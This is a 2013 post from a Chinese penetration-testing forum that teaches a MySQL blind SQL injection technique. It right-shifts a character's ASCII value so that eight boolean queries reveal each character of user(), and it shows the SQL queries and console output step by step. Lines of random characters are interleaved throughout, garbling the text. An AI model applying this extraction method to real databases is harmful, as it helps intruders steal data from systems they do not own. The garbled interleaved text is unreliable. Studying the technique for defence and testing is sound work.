中国网络渗透测试联盟
标题:
关于通过对8bit的ascii做右位移提高mysql盲注效率
[打印本页]
作者:
admin
时间:
2013-3-7 13:25
标题:
关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
+ H- H$ z& B5 |8 A$ A D$ z2 Q. {
7 B7 n9 ?, W9 t M4 v
/ h3 ?% X& F( F% J. T
) B: \8 J, B4 h2 V+ i# |
下面将以查询mysql数据库当中user()的第一位为例:
8 [" W+ `4 x8 E/ s$ p8 f! Q$ p
3 R' [* K" I: y5 e4 }5 N
+ ^& ^9 q! q2 B, i) w: `- U
{4 B4 }( M5 o* G% i3 I+ a
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
" Q) C0 N$ W# K" H' |
|) ^: H4 c2 v9 |
0 A8 P1 `" q) \: P; Q }: t
, z( I$ i$ O& B4 [: z' n. _) L* Y
首先执行如下sql语句:
9 u4 G; L( x0 x
+ }; O; H" l8 w, {1 O! x# |3 D
5 a5 m0 P. R5 k) P$ _/ ~. a
5 A* e. C9 `# T7 x3 M; v$ _
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
9 P) i! L) R4 j' X0 U5 d4 V
( e+ C5 p* X5 Y1 K
& v- ~. U$ A& \; z7 T% q- b
9 n* B- z0 V" }" D6 |7 v+ D
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
) K6 V: C( K. {, z9 i
5 R/ L# w0 ?" R
+ S4 N$ E' U* h% H
# \3 w4 M8 H3 N$ N. D; N4 N
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
/ C1 E" B u' w! n6 C
8 t* X8 _! j! x
! A: e: d# k# i9 G3 U, M
* d: {; n( M' ~
如果运算结果为1,说明第一位为0,不为1
2 r9 j1 T/ w ?9 I- K
- `/ Y! `& ?' O2 H3 k
& _$ H+ Y- c$ J9 n/ J( w$ Y, q
. n# H; v n# ?* b. V: F C0 Q
+————————————–+
1 W/ O! H5 C' J
5 \1 Z! q0 G4 q
| (ascii((substr(user(),1,1))) >> 7)=0 |
& `" j* Z6 Q& T5 d& a
5 \, }% X% B2 y
+————————————–+
6 X5 S: y1 ~' K# O
2 ^8 }8 {# c |$ h
| 1 |
' g, Q1 M5 Z9 N+ j
2 x( d) E2 A3 I% a$ ` _
+————————————–+
# Q$ y4 g+ x; y
7 h8 ^- v" y7 v0 T
1 row in set (0.00 sec)
$ O+ H$ L' \6 Z7 w% T" U
9 _3 B/ m2 o8 ^7 K
这样我们就确定这个8bit的ascii的第一位为0
9 A# Y9 V4 A- a, o4 M0 U) c
$ b4 s) I+ O$ t
8 J9 J8 x. ]; Y6 ~8 L9 m" g
4 G6 G! @& j4 ?! q N) c0 q! V' R
第二次我们来做6次右偏移来确定前两位
% u: \- H" M' z) N X
2 ?2 w! w) O6 s' v
, T( O2 `3 s. Y; \- r& w
' X# v9 h1 V; o6 |4 d7 c/ z0 V
前两位可能是01或00,即依然可以与0做比较,
! m+ U- B- |' U+ G4 o0 F
, r- V3 Z& r c. l" b8 |0 a
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
( a4 z2 V/ o6 U+ D: Z9 q
: k, F [0 s6 R6 X
+————————————–+
. v9 c6 r" e$ {( k7 o! l
) z! v9 m; m' u* v' T$ n" y: i
| (ascii((substr(user(),1,1))) >> 6)=0 |
N& R: @% }: q; ]
1 q; x* {3 w0 y7 A. q
+————————————–+
4 x7 S4 G7 ?, g- q( P. U
6 p+ p# M2 n7 n3 D
| 0 |
6 u4 x* l1 T j
; @/ a5 v) ?; y: A0 U: V. s* z
+————————————–+
. D& z0 S/ C3 b8 Z2 `( X
! C6 v" ?1 O2 d* S
1 row in set (0.00 sec)
# c, W: w: _ g& o( u$ c
! I$ S+ D* t$ k0 T! f6 h
4 U( u' \& Y1 o) o
' J. J4 d/ R2 @
结果为0,即第二位为1
1 ^: C3 e+ K3 Q+ W' f3 }
6 R) a& W7 Q8 P/ p9 z
) o: Y7 N( T& t( i& ~7 }. p; d
: I, \6 a8 [* U1 d }# v
开始猜测前三位为010或011
- q2 Y+ u1 z; i T. O
3 ?/ {- F) U1 N
. A+ u# x6 U7 b: L
: ]/ i$ [. ]1 p% r# D0 h; B% w, S1 R" \
让我们看看010和011的ascii码是多少
4 T+ W. ~2 Y) U% U
8 r, [4 k& i& p
; }+ o8 W7 O# g" n, N
* w9 i! X' n) U) n6 @1 c" R
分别查询select b’011′ select b’010′
" J$ _ B, ^ O1 x6 h
$ Y( M( B4 @. P3 B1 k0 H3 V
. g7 n" j% E" w# F6 [
+ @5 E5 j* u6 N j
获得结果 010 = 2 011 = 3
p* n/ K4 W2 z, Q' ]* [
1 N' v( D0 P0 ?3 I/ K ]- u* m. u
6 u9 m! @* P' w) P
1 p) ]$ s! x. S9 H
执行如下sql:
# W9 [0 L4 h- j
% R& j, Q' A3 \
4 v8 e( l$ a5 E- ^$ [9 \
0 |, F0 ]+ {. T! v: ?% m* F
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
9 z1 t& {$ V1 z# h7 W" E5 T5 S
5 ~* E7 x. s' m
+————————————–+
- `+ @& N$ t/ m k! y! I
* ?% T, }' y9 p' e0 H
| (ascii((substr(user(),1,1))) >> 5)=2 |
3 j- |5 |( }9 B
" h1 E6 e2 N) O3 `
+————————————–+
- e9 ^4 f7 {& ?0 Z% P
, z/ V: G. G. k; [. m v
| 0 |
0 `2 e: `( v% F; G) O% \2 \
4 B$ `3 ^. ]! U# w5 r: C" s
+————————————–+
/ J) E7 \8 m q6 o: m( T, A( c1 C& u
4 Z# `( N* O( B' g6 A$ u# i
即前三位不为010,而是011
# \) Y; v; V9 R# o, ?) N# V. E, T
/ C0 E k4 N6 L/ X9 i! h0 K: g
$ s7 Y. U, Q0 B
' B( k. ~4 ?+ {5 \! A4 R( g
直到获得最后一位
3 J% s5 x+ G3 f6 J0 M/ q
% [) L1 E& R. E% T+ A2 w
+ n2 P" f5 m9 j! e
# K' a; ?% g/ D4 I
最终结果为:01110010
7 X" x0 f1 q1 ]7 P' R+ o
0 q, ]. a6 t( ]: z
3 z$ [3 l6 m& `6 ^% ? [
% J& E9 j) |* I
转换一下:
. s! x4 w4 [" U. P* }+ g
7 K/ o$ [5 m# l/ ]& c3 k
: P" Y+ S6 w# R
5 y6 c3 ~% F/ I9 [
select b’01110010′
& U% ~7 b4 ]' k8 ~! L9 e
l# b4 M2 D/ L* K
+ _) ^0 H% o* n& H. A
7 A8 ~; e8 U' g9 n+ M
查询结果
7 U8 ~, y- S) t1 e0 ]- C: x
; J; q2 ]# F3 {, P0 \4 i
; L9 @! a9 g8 V# A" F
0 p/ w: V" |( g
+————-+
% U% C# z* ^9 D
4 x: q( A* R9 ]- X! l
| b’01110010′ |
2 g6 O* V: E! ~4 O
/ t4 K! ~' V$ \" G) |- ?/ X
+————-+
) s0 U: |* b# n$ ^2 Z8 ]7 d5 o- c
( O$ c4 }( B* p
| r |
; d Q; [" x; U6 I. S- J8 P
. m8 \2 I" P1 J3 _4 Z' k
+————-+
! q7 L. H G) d7 F/ E/ b- P
5 `9 a& z# |! F$ C A
1 row in set (0.00 sec)
; M. d* r& ?5 n
9 i/ L9 b+ Z1 J& ^0 E7 Y
: m6 P/ F7 N8 x
" ?) r, J0 `1 P; w5 k C. X
这样我们就获得了user()的第一位.其它位依此类推
6 _/ E5 b: S3 T! w, E
1 Z' }0 D0 L! @& a/ Y& S
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2